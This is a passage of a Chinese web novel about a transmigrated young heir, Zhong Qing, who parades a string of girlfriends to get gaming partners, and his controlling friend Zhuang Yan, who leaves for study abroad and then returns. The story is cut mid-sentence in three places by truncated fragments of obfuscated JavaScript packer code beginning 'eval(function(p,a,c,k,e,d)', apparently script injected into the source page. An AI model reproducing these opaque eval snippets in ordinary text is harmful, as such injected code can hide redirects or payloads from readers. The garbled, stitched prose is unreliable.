庄严的呼吸变得粗重起来,勃然的怒气从胸膛一路向上灼烧到脑中,让他失去理智,再顺着血液一路向下,涌向已经快要失去控制的某个地方。 包装袋不知道什么时候被撕开,里面湿滑的液体溢出,沾了庄严满手。 他按捺住暴躁的欲望,低声喝道:“闭嘴,钟情。” “……凶什么凶。” 钟情冷哼一声,还说父爱如山,大难临头,连山也能长翅膀飞走。 “不帮就不帮,到时候我自己摆地摊养她们!” 他心中恶狠狠想着“父不慈别怪子不孝”,被子蒙头一盖,决心三天不理庄严。 良久,有人隔着被子抱住他。 钟情挣了下,没挣开。很好,熟悉的大爹的绝对力量。 “我会养你的。”庄严在他头顶喃喃。 房间里冷气温开得很足,他的声音隔着一层蓬松的被子,有些失真。 “我会一辈子养你。” 一只手从被子底下钻进来,搂住钟情的腰,将他拖入怀中,像是他们以前每一次吵架后和好的拥抱,但又仿佛掺杂了些别的意味。 35.第五章 钟情毫无所觉,照例将这个拥抱视为对方递来的台阶。 总是是不生气了,他心中松了口气,抓紧时间下台阶。 他顺势搂住庄严的脖子,在他耳边轻声道:“庄严,其实我骗了你。” “是么。”庄严声音相当冷静,他的手却在钟情裤带边上不着痕迹地慢慢摩挲,他的语气温柔又危险,“没关系,这不重要。” “不,这很重要。其实我那些股票和不动产,要等我毕业才能完全到我手里。我帮不了你什么……我现在唯一能自己处置的只有马场。” 被子里传来的声音闷闷的,“庄严,我把马场给你吧。你可以卖掉它,可能不值什么钱,但蚊子再小也是肉,说不定就让你度过这次难关了呢?” 庄严手中动作一滞。 “……那是你母亲唯一留给你的东西。” 钟情的笑声也是闷闷的。 “庄严,我好歹是和你一起考上这所大学的,你以为我是傻子吗?我现在有的一切都是你为我保下来的。没有你,我爸妈去世的那一天,所有东西都会被他们抢走。那些东西有我的一份,也有你的一份,只要你有需要,我什么都会给——” 钟情的嘴被一只手隔着被子捂住,说不出话来。 他没敢乱动,因为庄严将他抱得更紧,他生怕一不小心就碰到庄严那根断掉的肋骨。 他听见庄严急促的喘息,声音颤抖:“即使我不帮你养孩子?” “唉。”钟情看破世事般长叹一声,“真到那一步,我干嘛还去祸害人家。我俩相依为命吧。” 像有一盆凉水当头泼下,庄严猛然清醒。 他渐渐松手,看清藏在黑暗里的那些东西。 一地的领带,散落的安全套,其中一个已经被拆开,指间黏腻一片。 他想做什么? 对着他童年的玩伴、少年慕艾的对象、即使倾家荡产也要帮他的兄弟,他要做什么? 脑中闪过零星的记忆碎片。 年华老去却威严依旧的老妇人第一次放软语气劝说:“庄严,你如果真的爱他,就应该离开他。他和你不一样,留在他身边,迟早有一天,你会伤害他。” 是的,他要伤害他。 钟情裹在被子里,半天没等到庄严的回应,都快睡着了。他昨天和白悦打游戏到深夜,天刚亮又去上早八,现在困得很。 朦朦胧胧快陷入梦中时,有人将他紧紧抱住,差点喘不上气。 钟情吓一跳,瞬间睡意全无。 他伸手想将蒙在脸上的被子扯下来,没扯动。 “庄严你干嘛?不想以后养我一大家子,所以决定提前闷死我?” 庄严隔着一层被子,在钟情额头上落下悄无声息地一个吻。 他曾经无数次梦见过这样的场景——怀里的人安静地躺在身下,顺从地接受他的吻。 但他现在不在梦中。 他比以往任何一次梦醒都更加清楚地认识到这个残忍的真相——钟情和他不一样。 钟情要的是妻子、孩子,要的是一个正常的家庭,他不会接受来自同性的吻。 绝无可能。 庄严绝望地闭眼。 “我以为我们会永远在一起。” 隔着一层蓬松的被子,他的声音有些失真,像是从很远的地方传来。 “什么叫以为?我们当然会永远在一起。”钟情察觉到不对,“庄严,你到底怎么了?你在想什么?” 钟情的语气是那么关切担忧,庄严却无法回答。 “你不会想知道的。” 钟情愣了一下,他居然从庄严的声音里听出一丝哽咽。 他小心翼翼问:“……你真破产了?” 庄严轻笑,只是那笑容比哭还要苦涩。 “我要出国了。” “去哪?出差?” “留学。” 钟情意外,剧情里面好像没有这段吧? “那你什么时候回来?半年之内应该可以吧。”半年后林姿寒可就出场了。 “不,钟情。” 庄严轻声说,“我永远不会回来。” * 机场。 钟情流下了成吨的眼泪。 自从那天庄严宣布出国留学后,钟情就再也没有见过他。 他甚至都还不知道庄严为什么突然做出这个决定,并且还这样坚决地执行下去。 更糟糕的是,他发现这具身体还有抗药性,和悦悦亲密接触时产生的无痛感在慢慢消退。 卷土重来的疼痛让他烦躁不已。 他忍着疼劝庄严留下,电话也打了,家门口也蹲了,还跑去向严奶奶告状,可无论他怎么哀求、质问、甚至斥责,庄严依旧简铁石心肠,毫不动摇离开的想法。 机场送行的时候,钟情终于不再劝了。 他所有的说辞都已用尽,除了眼泪,无法再表达别的。 庄严心痛地看着钟情的眼泪,面上神情却没有一丝起伏。 他心中的血似乎已经流干,在看到钟情来送行还带着女朋友的时候,不仅没有生气,反倒朝白悦也微笑了一下。 视线偏移,看见前来送行的严老夫人,朝她轻轻一点头。 只有到这时他们才稍稍像一对祖孙,也只有这位老人知道他为何离开。 他确实能伤害钟情。 不仅因为他有这个能力,有这个心思,还因为钟情对他毫不设防。 继续待在钟情身边,只会变成一个定时炸弹,将两人都炸得面目全非。糟糕的未来,被玷污的曾经。 离开,至少还有过去可以怀想。 庄严递给钟情一张纸巾,轻声道:“好好过。” 只有三个字,已经是他能为钟情那个没有他的未来给出的最高的祝福。 钟情哭得更凶了。 他抱住庄严,夏日衣衫单薄,他明显地感受到固定带的存在。 “庄严……”钟情抽噎,“我真希望是我出了这场车祸。” 最好将他撞成植物人在医院昏迷不醒,等到两位男主相遇相知相爱剧情结束,他一觉醒来任务自动完成。 庄严静静听着,心中升起的最后一丝不甘也在这话语里消散。 他抱着钟情的手稍稍用力,埋头在他发间,闻到熟悉的甜桃味洗发水清香。 他最后一次贪婪地深嗅一口,然后放手。 转身,提步,离开,一次也不曾回头。 回程的司机是陈特助。 大概是怕他一个人在家里能把自己饿死,庄严把这位精明能干的心腹留给了钟情。 后视镜看到钟情一直低着头不说话,陈特助心中叹了口气。 他是看着钟家这位小少爷长大的,从小到大,除了打游戏,他要什么没有?就算是要天上的星星,动动手指就有人肯为他拍下命名权。这大概还是他第一次遇到连眼泪都换不回的东西。 他有心安慰一句,突然听见后座中传来一连串激昂的声音: “Double Kill!” “Triple Kill!” “Amazing!” 陈特助:“……” 他默默收回同情心——很好,钟家这位小少爷这下是真的要啥有啥了。 钟情手里同时操纵着两个游戏机。 系统在脑中嚎啕大哭:【菜精,你还有没有人性?你居然还在这儿打游戏!】 钟情闲闲道:【事情已经发生了嘛,只能接受咯。】 【但半年后主角受就交换过来了,主角攻出国不回来,剧情不就崩了吗!】 【别急,还有半年呢。他会回来的。】 【你怎么能保证?】 【到时候就说我要病死了,你看他回不回来。】 系统气急败坏:【庄严是那么好骗的吗?】 钟情胸有成竹:【大不了我去他家门口上吊。放心吧,到时候肯定把他带回来,崩不了的。】 系统此刻也冷静下来,一想好像是这个道理,又一想似乎有哪里不对。 【等等……你之前怎么不去他家门口上吊?】 钟情眼中浮出一丝神秘的笑意。 他没有回答系统的话,而是朝身边的白悦发问: “悦悦,你上次说你哪个闺蜜游戏打得特别好来着?” * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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漆黑的房间里,他抓住一只猎物,又心软将他放走。 在他独自经历了那些惊慌、心痛、不甘,用身体和精神的双重折磨逼迫自己放手后,罪魁祸首却告诉他,他为之让步的真爱只不过是一次冲动,是一个可以轻易结束的玩笑。 “庄严?喂喂?你在听吗?你没事吧?” 很久以后庄严才找回自己的声音。 那声音是虚弱的:“你不是说……你对白悦一见钟情,非她不可吗?” “呃,一开始我也是这么以为的。” 这话钟情倒也不算完全是撒谎。要不是他对同一个人的粒子吸附能力会随着时间下降,他完全可以在林姿寒出场之前一直和白悦伪装情侣。 但这具身体的诡异程度他属实也没料到。 “那个……人总有被荷尔蒙控制的时候嘛。你放心吧庄严,我跟白悦是和平分手,我已经找到新女朋友了。要给你看她照片吗?” 庄严几乎要把手机捏碎。 “新女友?”他声音里透着刺骨的寒意,“怎么?这次也是一见钟情?这次你的荷尔蒙打算管多久?” “别这样说,庄严,这次我是认真的。我真的对莹莹一见钟情了。她超级漂亮,人也温柔,你要不要看照片?” “钟情!你太荒唐了!你到底把爱情当做什么?戏弄别人有这么好玩么?!” 庄严从来没有这样情绪爆发的时候,这毫无来由的怒火把钟情吓了一跳。 “……你干嘛这么激动啊?我之前和悦悦在一起的时候你不高兴,现在和她分手了你也不高兴!” 他越说越委屈,“谈恋爱是我自己的事情好吧?虽然我的确经常开玩笑说你像个大爹,但你也不能真把我当你儿子吧?何况我亲爹都管不了我,你何必管这么宽?” 说着说着他也察觉出不对,“庄严,你该不会是喜欢……” 庄严屏息一言不发,听见钟情犹犹豫豫继续猜下去。 “……你不会是、不会是喜欢悦悦吧?” 36.第六章 钟情恍然大悟:“所以你是在替她打抱不平?难怪你执意要出国,我抢了你喜欢的人,你是不是恨死我了?” 庄严确实快恨死他了:“不是!” 钟情无缘无故又被吼,顿时也来了气:“那你管这么宽干什么!” 很长时间两人都被不再说话,电话中只有彼此的呼吸声。 那边突兀地传来一声:“我马上回来。” 钟情一声“别”还没出口,那边就“啪”一声挂断。 他捧着黑屏的手机心想完了,他的好日子要到头了。 系统相当高兴:【太好了太好了剧情恢复正常了。菜精,这回你可一定得把主角攻稳住了啊。】 钟情:【……】他正想着再换个游戏搭子,看看能不能把庄严气走呢。 叹了口气,钟情又给悦悦打了个电话,通知她庄严无法接机这个遗憾的消息。 悦悦豪爽一笑:“没事的,钟情,我自己一个人可以的。你愿意让钟氏集团资助我,我已经很感谢你了。对了,我有几个好姐妹,以前都是我带她们上分,以后,我就把她们托付给你了哦。” 钟情满口答应。 这些女孩子其实并不是一开始就十分信任他,但经过一个多月的相处,见钟情的确心里只有游戏,渐渐放下戒心。 刚开始她们还对钟情给出的理由略有怀疑,觉得既然都是豪门少爷,怎么钟情就这么听庄严的话,撒这样一个弥天大谎竟然只是为了打游戏。 后来她们似乎是自己找出了一个更能让人的信服解释,钟情经常见她们聚在一起看着他露出神秘微笑,他心中有些好奇,但见女孩子们总算不再找他的破绽,为避免横生枝节,没有过问。 庄严说的“马上回来”,其实是在一周之后。 这已经是最快的速度,留学计划中止,他出国前一个月做的所有安排都被打乱。 这一周他几乎是不眠不休完成了之前一个月的工作量,坐上回国的飞机时,已经分不清胸口的疼痛到底来自肋骨还是心脏。 助理递来一沓资料,见大少爷接过后立刻收手,回到原位,恨不得缩到机尾去。 庄严一页页翻过去。 资料里一大半都是照片,照片上除了钟情,还有不同的女孩子。相同的是他们都笑得很开心,让庄严感到刺眼。 指尖轻轻拂过照片上那张灿烂的笑脸,像一幅蒙尘百年的油画,终于祛除污垢刷上清漆,绽放出宛如新生般的英姿。那样漂亮,却又那样陌生——钟情从来不曾在他面前这样开怀大笑过。 庄严在最后一张照片上停留了片刻。 那是在他们共住的一套公寓外拍的。为了方便钟情睡懒觉,他特地在学校附近买下这套公寓,怎么也想不到两年后钟情会把女朋友带回他们的家。 庄严凝视着那张照片,他没有说话,气氛却已经压抑得身后助理大气也不敢喘一下。 照片后是一长串酒店和网吧的账单,翻过几页才看到尽头。 尽管庄严已经做好心理准备,看到开房记录上登记的人数逐渐从两人增加到三人甚至更多,他终究没能忍住,沉着脸把所有资料揉成一团废纸。 废纸扔进垃圾桶,发出让人心惊肉跳的响动。 助理面不改色,双手却在手机上颤颤巍巍,向准备接机的陈特助发去一条消息:“快让钟少来救我!” 白悦的航班原本应该定在几天前,庄严临时回国,钟情又放心不下,还是重新安排了别人去接机。 耽误几天后,好巧不巧和庄严回国的时间撞上。 两个飞机场分别在城市的一南一北,钟情就算长出翅膀也赶不及。他左右为难,最后在陈特助的老泪纵横苦口婆心下选择去接庄严。 他在贵宾室等得无所事事,理所当然掏出游戏机来了一把惊险又刺激的排位赛。 听到门外传来脚步声,他条件反射抬手一抛,游戏机精准落在女朋友身后。 与此同时,他朝来人露出若无其事的微笑。 默默注视着这一切的陈特助:“……” “好久不见,庄严。” 钟情起身给来人一个拥抱,然后牵起身旁女孩子的手。 “介绍一下,菲菲,我女朋友。” “……不是莹莹吗?”庄严的声音几乎是从喉咙里挤出来的。 “哦,分手了,我们不太合适。” 钟情很遗憾,莹莹的粒子逸散程度太低,第五天就被他免疫。 “不过菲菲跟我很合适。” 庄严冷笑。 “又是一见钟情?” “被你看出来了?”钟情谦虚道,“基操基操,咱们情圣是这样的。” 他终于想起正事,赶紧问:“你怎么又回来了?不留学了?” 他有点担忧,“庄严,你要小心啊,上位者最忌讳的就是朝令夕改。” “我不会再走。” 庄严的视线从头到脚一点点扫过钟情,分别一周带来的所有改变都被他尽收眼底。 他慢慢说道:“钟情,你是对的——” “我们应该永远在一起。” * 钟情渐渐感觉庄严对“永远在一起”的定义好像和他有些不一样。 从机场回来后,庄严仿佛突然不会直立行走了似的,时时刻刻都要把钟情带在身边。 虽说他们之前的相处也算得上是形影不离,但现在已经过分到连钟情出门和女朋友约会都要先和庄严打报告,而且三次报告总有一次会被驳回。 钟情委婉地向如此蛮横的控制欲表达不满,庄严也相当民主地听取了建议,不再限制钟情出门约会。 但是…… 钟情在咖啡厅和菲菲相顾无言。 一旁的庄严倒是怡然自得,一面敲电脑处理公司积压的工作,一面让陈特助去给小情侣买单。 身边坐着这样一个强光电灯泡,小情侣谁也没敢把包里的游戏机掏出来。 钟情本以为庄严只是一时兴起,但接下来的每一天、每一个场所、每一次约会,都成了三人行。 为了赶走庄严,钟情疯狂在他面前秀恩爱。他勤学苦练各大土味情话,指望把庄严恶心走,结果反倒是女朋友先被他恶心走了。 钟情挽留不得,只能重新诚聘游戏搭子。 他在庄严身边安安分分待了几天,趁庄严放松警惕,借着写小组作业的机会,和新认识的女孩子一起溜到操场旁的小树林,掏出游戏机便要大杀四方。 就在这时,陈特助背着手,如幽魂一般突然浮出来。 钟情环视四周,没看见庄严,但陈特助出现在这里,显然就是庄严的意思。 钟情快被阴魂不散的庄严烦死了。 他护在女孩子身前,豁出去道:“你回去告诉庄严,我今晚就要和萱萱约会,我不会回去!让他也别来找我!” 陈特助心中欲哭无泪,面上一片淡然:“钟少,您放心,少爷没有要求您回去。他只是怕您太晚回去有危险,让我守着您罢了。” “嗯?”陈特助这人从不说谎,钟情微微放下心来,“算他识相。” 他登录游戏界面,正要进大厅排队,就见陈特助从身后掏出一个大喇叭,举过他头顶,按下播放键,传出庄严的声音: “钟情是个大渣男,不要和他谈恋爱。” “钟情是个大渣男,不要和他谈恋爱。” “钟情是个大渣男,不要和他谈恋爱。” 钟情:“……” 喇叭里的声音余音绕梁响遏行云,不仅小树林里成双成对的鸳鸯们纷纷朝钟情看过来,跑道上、甚至教学楼里,四面八方的学生们都好奇地朝这边聚拢,想知道又出现了什么惊天大瓜。 萱萱实在丢不起这个脸,游戏机也不要了,一声告辞后就急忙跑掉。 钟情一脸黑线,不得不起身,朝学校外走去。 走出小树林,穿过操场,一直来到校外,陈特助始终紧跟在他身后,高举大喇叭循环个不停。 钟情:“……陈助理,不用这么尽职尽责吧?” 陈特助努努嘴,示意他朝前看。 钟情抬眼,看见夜幕中一辆黑色世爵在他身边缓缓停下。 钟情气闷,不想理,自顾自往前走。 世爵车不紧不慢跟着他,大喇叭也一直叭叭叭个不停。 钟情心里念叨着“不听不听王八念经”,但终究受不了路人落在他身上的奇怪视线,扭头朝车里的人负气道: “庄严!你有完没完?” 庄严半边身子都隐没在黑暗中。街边橱窗里洒下的明明是黄澄澄的暖光,倒映在他眼中,却无端让人遍体生寒。 “上车。” “哼。” 钟情甩手就走。 “别让我说第二遍。” “……凶什么凶!”钟情停步,“给我开车门!” 见钟小少爷终于肯让步,陈特助抹了把额头上的汗,关掉喇叭就要上前开门。 钟情一把拦住他。 他在陈特助不明所以的视线里看向庄严,微微挑起嘴角。 “别让我说第二遍,庄严。” 庄严静静地和他对视片刻,随即下车,绕到副驾驶位,拉开车门后伸手覆上门梁。 “现在可以上车了吗,公主?” 钟情:“……” 现世报来得太快,这是他几天前跟菲菲说的土味情话。 还真挺恶心。 * 钟情老实了整整一个月。 当然这只是表面上的。 他跟在庄严身边吃了一个月少油少盐的养生餐,告别零食告别游戏,活像个苦行僧。但他心中烦躁得几乎快要抓狂。 难怪都说止疼药吃多了会上瘾,钟情现在就面临着这个困境。 之前十年一直疼着,习惯了倒也能忍,但现在他已经享受过一段没有痛感的幸福日子,再回到那暗无天日的从前,他感觉全身上下每一个细胞都在身体力行表示抗议。 钟情很怀疑他这怪病变异了一个层次,不然怎么会这么疼? 系统可不敢承担这份责任:【这绝对是你的幻觉,我这边数值没有半分变化。】 钟情已经疼得和它争辩的力气都没有了,手里的书一行行字看在他眼中都在发飘。 他丢开书,环视四周,试图找出什么能缓解疼痛的办法。 他看了一眼公寓的大门,很快移开视线。 不用想了,庄严就在他房间隔壁,天生一副玩狼人杀的好耳朵,听见开门声就会立刻出来捉他。他已经这样栽了好几次。 钟情又看了眼电视柜里的药箱。 那里面有不少止疼药,是医生给刚出车祸后的庄严开的。庄严是个狠人,到现在为止一颗都没动过。 钟情轻轻叹了口气。 止疼药对他没用。他的疼痛来自于角色模型的残缺而非疾病,没有哪一种止疼药能对这种情况生效。 安眠药或许可以,睡死过去就什么也感受不到。 可惜药箱里没有。 但……有酒。 钟情双眼一亮,想起庄严从国外带回来的那瓶葡萄酒。 他偷偷摸摸潜出房间,果然在橱柜深处找到那瓶酒。犹豫片刻后,他蹑手蹑脚去了卫生间。 庄严平时滴酒不沾,即使生意场上也没人敢灌他酒。钟情被他管着,也不怎么能接触到酒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他扶着洗手台站起来,看见镜子里的那个人,脸上浮着不正常的红晕。 他伸手摸了把自己的脸颊,手上紫红色的酒液将红晕盖住。 钟情分不清自己现在是清醒的还是迷糊的了,镜子里的人分明和他做着同样的动作,他却觉得那个人分外陌生。 玻璃碎裂的声音也惊动了书房里办公的庄严。 他挥手示意视频会议暂时停下,然后起身朝房门走去。 推开门,门外一片黑暗,只有卫生间亮着灯,但是里面空无一人。空气中弥漫着酒香,仿佛远在天边,又仿佛近在眼前。 庄严皱眉:“钟情?” 他合拢房门,挡住视频那边众人探究的视线。 刚走出一步,一个声音在身侧轻轻响起: “我在。” 庄严循声看去,看见钟情正倚在墙上。 窗外透进来一线月光,正好照亮他一侧的脸。那实在是一张太漂亮的脸,眉眼间错落的光影如梦似幻,睫毛长长蜷曲着,紫色酒液流淌过皮肤,像颜料未干的油画,像油画里钻出湿淋淋的精怪。 这个梦一样的精怪在朝庄严一步步走来,而庄严停在原地,像是突然不会动也不会说话一般,任由钟情撞进他怀中。 钟情用了很大的力气,撞得庄严稍稍后退一步,被身前的人抵在门板上。 他搂住庄严的脖颈,用脸颊在他颈侧轻蹭。 庄严能感受到冰凉的酒液也沾上他的皮肤。他鼻尖满是浓郁的葡萄酒香,他在这香气中目眩神迷。 钟情蹭了一会儿,周身的粒子就像怀里这具身体一样巍然不动。他想要更多的肌肤相贴,可身下的人穿得严严实实,西装外套像盔甲一般将他们隔绝。 他尝试去解庄严的衣领,双眼却迷离得看不准纽扣的位置。他心下不耐,直接一个用力将一排衬衫扣子全部扯断。 没了阻碍,他终于可以轻松扒开庄严的衣服。手掌贴着裸露出来的、结实的胸膛逐渐往下,他用了极大的力气,想要从这极亲密的距离中引诱到哪怕一颗粒子。 可它们依然无动于衷。 但它们的主人已经到了失控的边缘。 他一直默许着钟情的侵犯,甚至微微仰头,方便他更细致地在他身上探索。 游走在胸膛上的手掌火热,袖口却是湿润冰凉的,断断续续碰上他的皮肤。那并不是一种舒适的感觉,黏腻冰冷如同蛇行,不断提醒着他,眼前的一切并不是梦。 庄严心中掀起狂风巨浪,他伸手便要将跟前的人更深地按进怀里。 在他动作之前,钟情已经一路向下摸到他腰间的固定带。 坚硬的、与皮肤截然不同的触感让钟情一下子酒醒,身体比意识更快一步察觉到不对,从庄严怀中飞快地向后撤去。 他迷茫地站在原地,借着那一缕朦胧月色,他艰难地看清面前衣衫不整的人竟然是庄严。 他灰色西装上满是褶皱,领带拧成死结,歪歪扭扭垂在肩上,衬衫衣领散开,下摆也被拽出,纯白的布料染上斑驳的酒渍。 钟情从来没有见过这样凌乱狼狈的庄严,但庄严面色一如既往平静。 他正无比驯顺地站在原地,安静地垂眸看着钟情,像等待主人发落的大狗。 “我在做什么?”钟情喃喃。 他像是突然回神,上前去整理庄严的衣服。 头痛欲裂中,他慌不择路地道歉和找借口:“对不起庄严,是我的错!是我饥不择食了!” 37.第七章 饥不择食。 庄严第一次知道钟情在成语这方面竟然有如此高超的造诣。 他感觉自己像是身处在两个世界,明明灵魂已经千疮百孔,身体却仍旧好端端运转着。 心脏一下下有力跳动着,将血液泵往身体各处。多么尽职尽责的器官,就好像它亦有自己的人生剧本,所以不顾主人意愿,将这具身体带往那个既定的未来——一个不停工作的、没有钟情的未来。 庄严在那一刻感到百无聊赖。 钟情正在用自己的衣角擦拭他的领口,月光落在他的手上,映得那双手白皙如玉。 庄严却看着那双隐藏在黑暗里的眼睛。 一双再看无数遍都会为之失神的眼睛,即使在黑暗中,浅棕瞳孔依然澄澈得像一汪清泉,所有情绪都纤毫毕现。 焦急、愧疚、悔过、难堪,甚至是恐惧……但唯独没有羞涩。 隐在黑暗里的人坦坦荡荡,站在月光下的人却怀抱着不可告人的秘密。 庄严低头,避开钟情的眼睛,视线落在他的手背上。 在深色酒渍的对比下,那双手白得惊人。庄严想起五年前的那个月夜,钟情的手也是这样覆在他胸前。 那是钟父为爱妻殉情的第二个夜晚,他在马场一角找到困倦的钟情,将他一步步背回家。 他已经不记得穿过马厩时牲畜的嘶鸣和饲料的气味,只记得月光洒在钟情垂下来的手背上,薄薄的一层皮肉之下,淡青血管根根分明,脆弱得仿佛下一秒就会融化。 他守了钟情一夜,在天亮的时候,接到严老夫人的电话。 然后,他答应了她重复两年的提议。 在庄父中风、庄家大哥入狱、几个小辈全被养成废物之后,成为庄家的继承人。他将继承庄家一切财产,代价是他将牺牲他所有的时间和精力,用以维持这个庞然大物的运转,养活其下荫蔽的无数员工,和他那些与他相看两厌的血缘至亲。 此后,他既是这个庞然大物的主人,也是这个庞然大物的奴隶。 他向这个风雨飘摇的巨物支付了自己的未来,只为了换来一份底气。 挂断电话后,他对醒来的钟情坚定地微笑说:“别怕,你还有我。” 回忆如当头棒喝,庄严从无所事事的状态中猛然清醒。 他仍旧不知道该如何面对没有钟情的未来,但身体却先一步做出反应。 他露出和五年前那个月夜一样的微笑,将满脸担心害怕的人拥入怀中,说:“别怕……我不怪你。” * 钟情快要受不了了。 他出于对好兄弟动手动脚的愧疚,很是安分了一段时间。整整两个月,他每天两点一线,上完课就立马跟着庄严回家。即使哪天庄严在公司加班,他也会专门去庄氏集团陪着。 为了表达自己的歉疚,他还特别贤惠地收走沾上酒渍的脏衣服,表示要自己亲自动手洗干净——结果翻来覆去也没查出商标,便让陈特助带着衣服偷偷去找严奶奶,让庄家的家庭裁缝原样做了一件。 可是愧疚心理一过,钟情立刻开始想念他的游戏机和游戏搭子。 他在草稿纸上推演了无数种方案,又一个个划掉。 庄严看上去并不为之前的酒后意外生气,但钟情总觉得他打那以后就有些怪怪了。 之前的庄严管教他时看起来严厉,其实就是个纸老虎,只要稍一撒娇就要举白旗投降。现在的庄严温柔了一些,但他的温柔就像一张密不透风的网,将钟情所有的花招诡计都包裹住,失去了施展的余地。 钟情耐着性子等待时机,在快要发疯之前,他终于等到了。 钟家大伯生日那天,他一下课就赶去庄严办公室,委婉地提出想要去参加庆生宴会。 庄严停下笔,很关切地问:“你不是一向不喜欢他吗?往年都没去过,怎么今年想去了?” 钟情脑筋急转弯:“这不是他五十大寿嘛。我寻思着过去给他添添堵。” “我陪你一起去。” “……我只是想给他添堵,不是想给他送终。” 庄严若有所思,钟情立刻晓之以情动之以理: “行行好吧,你要是去了,我大伯噩梦能做到明年今天。” “陈特助——” “行行行没问题,让他跟着我寸步不离。” 庄严面上闪过一丝笑意:“注意安全。” 他顿了顿,若无其事地继续说下去,“不许喝酒。” 钟情的确去了晚宴,还真的给那位便宜大伯添了堵。 他闹出的动静不算小,寿星公下不来台,自然报复一二。只是还没等他阴阳两句,钟情就像是受不了似的,捂脸从大厅跑出。 钟大伯:“?” 陈特助紧跟在钟情身后,见他占了驾驶座,想着钟小少爷大概心情不好,想自己开会儿发泄一番,便转身去了后座。 刚坐定就有两个大汉推门而入,不等他反应过来,钟情一个箭步开出去老远,两大汉也一左一右把陈特助绑成个麻花。 陈特助:救命,这不是回家的方向! 开到目的地,后座上的人递来一只录音笔,钟情接过后,下车示意门童替他泊车。 嘴也被堵住的陈特助看着眼前金碧辉煌的酒店大门,心里恨不得直接晕死过去。 推开房间门,里面传来一阵女孩子们的欢笑声。 见钟情到了,她们赶紧让开一个位置:“快来快来!瑜瑜晋级赛!” 她们身边是一整套豪华游戏设备,钟情将自己多年偷摸攒下的家当一股脑搬了过来,为的就是今晚玩个痛快。 感受到空气中活跃的模型粒子,钟情暗下决心—— 今天谁也别想让他离开这里! 游戏开局,钟情控制人物刚走两步,有电话进来。 接通后一个声音响起:“钟情,你在哪儿?” 钟情在对线。 双方一波技能全交,他成功收下对方人头。 “我在路上。” “钟家老宅到公寓只有九十分钟车程。”庄严的声音有些不悦,“你两个小时前就离席了。” “好吧。”钟情改口道,“我其实在马场。” 他一面参加小团战,一面打开录音笔,一阵小马嘶鸣声响起。 “今天和大伯吵了两句……”钟情狠狠掐了把大腿,瞬间泫然欲泣,“我想妈妈了。” “我来陪你。” “不用了庄严,我现在只想一个人静一静。你放心,我没事,今天早上就好了。” 该拿第一只大龙了,钟情赶紧敷衍两句,见庄严似乎是信了,便挂断电话。 庄严放下手机,看着屏幕里地图上的小红点。 温泉酒店,马场,南辕北辙的两个方向。 良久,他终于开口。 “备车。” 角落里垂着头的几个黑衣保镖如蒙特赦,忙不迭逃出门外。 钟情已经进展到制霸野区。 他为自己的万全准备得意不已。 还得多谢庄严的大喇叭给了他灵感,晚宴之前他便特意吩咐马场的兄弟替它录下一段爱马的叫声,还跟他们通好了气。 他从小就是这样,遇到不开心的事就往马场钻,庄严最知道这一点。 这借口简直天衣无缝,庄严若信,那么今晚相安无事;若不信,非要前去一探究竟,等他开个来回也已经四小时过去,那时天都亮了,就算发现真相也为时晚矣。 游戏渐入佳境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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床头放着一包烟,不知是哪个女孩带来的,是细长的水果味女士香烟。 事后烟! 钟情赶紧抽出来一根,找了半天没找到打火机,只得敲开浴室门向女孩子们借火。 刚吸一口就被呛得咳嗽不止,差点掉眼泪。女孩子们被逗笑了,缠着钟情要教他怎么吸烟过肺,他好不容易才脱身。 他走出浴室,还没来得及关门,几个女孩的手还搭在他胳膊上挽留他,房间门外传来一声巨响。 门开了。 庄严神色不善站在门外。 视线缓缓滑过钟情浴衣下半露不露的胸膛、指尖明明灭灭的香烟、像是刚被欺负过一样微红的眼眶,最后落在他胳膊上那几只女性的手上。 钟情心中一惊,赶紧将女孩子们推回去,严严实实关上门。 他懒洋洋靠在浴室门上,动作潇洒地掸了掸烟灰。 “庄严?你怎么来了?” “我打扰你们了吗?” 庄严一步步逼近,直到贴身站在钟情面前。 他们之间距离太近,几乎不留丝毫缝隙。钟情被庄严的气息完全包裹着,极具侵略性的同性气息让他有些不自在,伸手想将他推开,自己却被握住手腕,禁锢在头顶。 只是微微用力,烟就从指间落下,贴着庄严的手背滑下。 灼烧的疼痛让庄严心中更加阴郁。 透过浴室门的磨砂玻璃,可以隐约看见门里几个人影。 一。 二。 三。 四。 五。 庄严嘴角扯开一丝微笑,他微微凑近怀中的人耳畔,用温柔似水的声音道: “钟情,你还真是厉害。” 38.第八章 这个时候的庄严就像一条嘶嘶吐信子的蟒蛇,十足虚情假意。 钟情心中瘆得发慌,几乎就要将真相和盘托出。话到嘴边又想起这些年攒点身家的艰难,硬着头皮嘴硬道: “怎么?你嫉妒?” “是啊。”庄严轻声喃喃。 他只用一只手就按住钟情两只手腕,另一只手还有余力抬起钟情的下巴,低语时气息就喷洒在他颊边。 “我嫉妒得快要发疯了。” 钟情全身都被压制得死死的,奋力挣扎也只是徒劳,心中暗骂这人吃菠菜长大的,嘴上也不肯认输: “那你求我啊,说不定我心情一好,就带着你一起玩玩了呢。” 庄严气得一声冷笑:“我还真是没想到,你原来是这么一个滥货。” 他放开钟情的下巴,抓住他的手腕就要带着他离开。 钟情察觉到大事不妙,赶紧拉住浴室门上的横杆稳住身体。 他强自镇定道:“我不走,我事儿还没做完呢。” 庄严瞬间回头。 两个人对视片刻,钟情率先移开视线。 在他们对视的那几秒里,他竟然无端想起刚来这个位面时见到的小庄严。 